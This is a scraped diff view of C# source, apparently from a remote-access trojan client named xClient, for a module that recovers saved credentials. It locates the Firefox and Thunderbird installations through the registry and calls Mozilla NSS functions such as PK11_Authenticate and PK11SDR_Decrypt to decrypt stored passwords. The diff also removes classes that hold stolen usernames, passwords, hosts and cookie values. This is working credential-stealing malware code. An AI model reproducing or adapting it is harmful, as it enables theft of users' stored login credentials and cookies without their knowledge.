RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine,
|
||||
@"SOFTWARE\Wow6432Node\Mozilla\Mozilla firefox") :
|
||||
@"SOFTWARE\Wow6432Node\Mozilla\Mozilla Thunderbird") :
|
||||
RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine,
|
||||
@"SOFTWARE\Mozilla\Mozilla firefox"))
|
||||
@"SOFTWARE\Mozilla\Mozilla Thunderbird"))
|
||||
{
|
||||
if (key == null) return null;
|
||||
|
||||
|
@ -233,23 +211,13 @@ namespace xClient.Core.Recovery.Other
|
|||
#endregion
|
||||
|
||||
#region WinApi
|
||||
// Credit: http://www.pinvoke.net/default.aspx/kernel32.loadlibrary
|
||||
private static IntPtr LoadWin32Library(string libPath)
|
||||
{
|
||||
if (String.IsNullOrEmpty(libPath))
|
||||
throw new ArgumentNullException("libPath");
|
||||
|
||||
IntPtr moduleHandle = NativeMethods.LoadLibrary(libPath);
|
||||
if (moduleHandle == IntPtr.Zero)
|
||||
{
|
||||
var lasterror = Marshal.GetLastWin32Error();
|
||||
var innerEx = new Win32Exception(lasterror);
|
||||
innerEx.Data.Add("LastWin32Error", lasterror);
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
static extern bool FreeLibrary(IntPtr hModule);
|
||||
|
||||
throw new Exception("can't load DLL " + libPath, innerEx);
|
||||
}
|
||||
return moduleHandle;
|
||||
}
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
private delegate int PK11_FreeSlotPtr(long keySlot);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
private delegate long NSS_InitPtr(string configdir);
|
||||
|
@ -266,6 +234,9 @@ namespace xClient.Core.Recovery.Other
|
|||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
private delegate int NSSBase64_DecodeBufferPtr(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
private delegate int NSS_ShutdownPtr();
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct TSECItem
|
||||
{
|
||||
|
@ -335,38 +306,52 @@ namespace xClient.Core.Recovery.Other
|
|||
#endregion
|
||||
|
||||
#region Delegate Handling
|
||||
private static int NSS_Shutdown()
|
||||
{
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "NSS_Shutdown");
|
||||
NSS_ShutdownPtr ptr = (NSS_ShutdownPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_ShutdownPtr));
|
||||
return ptr();
|
||||
}
|
||||
|
||||
// Credit: http://www.codeforge.com/article/249225
|
||||
private static long PK11_GetInternalKeySlot()
|
||||
{
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "PK11_GetInternalKeySlot");
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "PK11_GetInternalKeySlot");
|
||||
PK11_GetInternalKeySlotPtr ptr = (PK11_GetInternalKeySlotPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_GetInternalKeySlotPtr));
|
||||
return ptr();
|
||||
}
|
||||
private static long PK11_Authenticate(long slot, bool loadCerts, long wincx)
|
||||
{
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "PK11_Authenticate");
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "PK11_Authenticate");
|
||||
PK11_AuthenticatePtr ptr = (PK11_AuthenticatePtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_AuthenticatePtr));
|
||||
return ptr(slot, loadCerts, wincx);
|
||||
}
|
||||
private static int NSSBase64_DecodeBuffer(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen)
|
||||
{
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "NSSBase64_DecodeBuffer");
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "NSSBase64_DecodeBuffer");
|
||||
NSSBase64_DecodeBufferPtr ptr = (NSSBase64_DecodeBufferPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSSBase64_DecodeBufferPtr));
|
||||
return ptr(arenaOpt, outItemOpt, inStr, inLen);
|
||||
}
|
||||
private static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx)
|
||||
{
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "PK11SDR_Decrypt");
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "PK11SDR_Decrypt");
|
||||
PK11SDR_DecryptPtr ptr = (PK11SDR_DecryptPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11SDR_DecryptPtr));
|
||||
return ptr(ref data, ref result, cx);
|
||||
}
|
||||
private static int PK11_FreeSlot(long keySlot)
|
||||
{
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "PK11_FreeSlot");
|
||||
PK11_FreeSlotPtr ptr = (PK11_FreeSlotPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_FreeSlotPtr));
|
||||
return ptr(keySlot);
|
||||
}
|
||||
|
||||
private static string Decrypt(string cypherText)
|
||||
{
|
||||
StringBuilder sb = new StringBuilder(cypherText);
|
||||
int hi2 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, sb, sb.Length);
|
||||
TSECItem tSecDec = new TSECItem();
|
||||
TSECItem item = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi2), typeof(TSECItem));
|
||||
if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)
|
||||
if ((PK11SDR_Decrypt(ref item, ref tSecDec, 0)) == 0)
|
||||
{
|
||||
if (tSecDec.SECItemLen != 0)
|
||||
{
|
||||
|
@ -379,30 +364,4 @@ namespace xClient.Core.Recovery.Other
|
|||
}
|
||||
#endregion
|
||||
}
|
||||
public class thunderbirdPassword
|
||||
{
|
||||
public string Username { get; set; }
|
||||
public string Password { get; set; }
|
||||
public Uri Host { get; set; }
|
||||
public override string ToString()
|
||||
{
|
||||
return string.Format("User: {0}{3}Pass: {1}{3}Host: {2}", Username, Password, Host.Host, Environment.NewLine);
|
||||
}
|
||||
}
|
||||
public class thunderbirdCookie
|
||||
{
|
||||
public string Host { get; set; }
|
||||
public string Name { get; set; }
|
||||
public string Value { get; set; }
|
||||
public string Path { get; set; }
|
||||
public DateTime ExpiresUTC { get; set; }
|
||||
public bool Secure { get; set; }
|
||||
public bool HttpOnly { get; set; }
|
||||
public bool Expired { get; set; }
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
return string.Format("Domain: {1}{0}Cookie Name: {2}{0}Value: {3}{0}Path: {4}{0}Expired: {5}{0}HttpOnly: {6}{0}Secure: {7}", Environment.NewLine, Host, Name, Value, Path, Expired, HttpOnly, Secure);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
Loading…
Reference in New Issue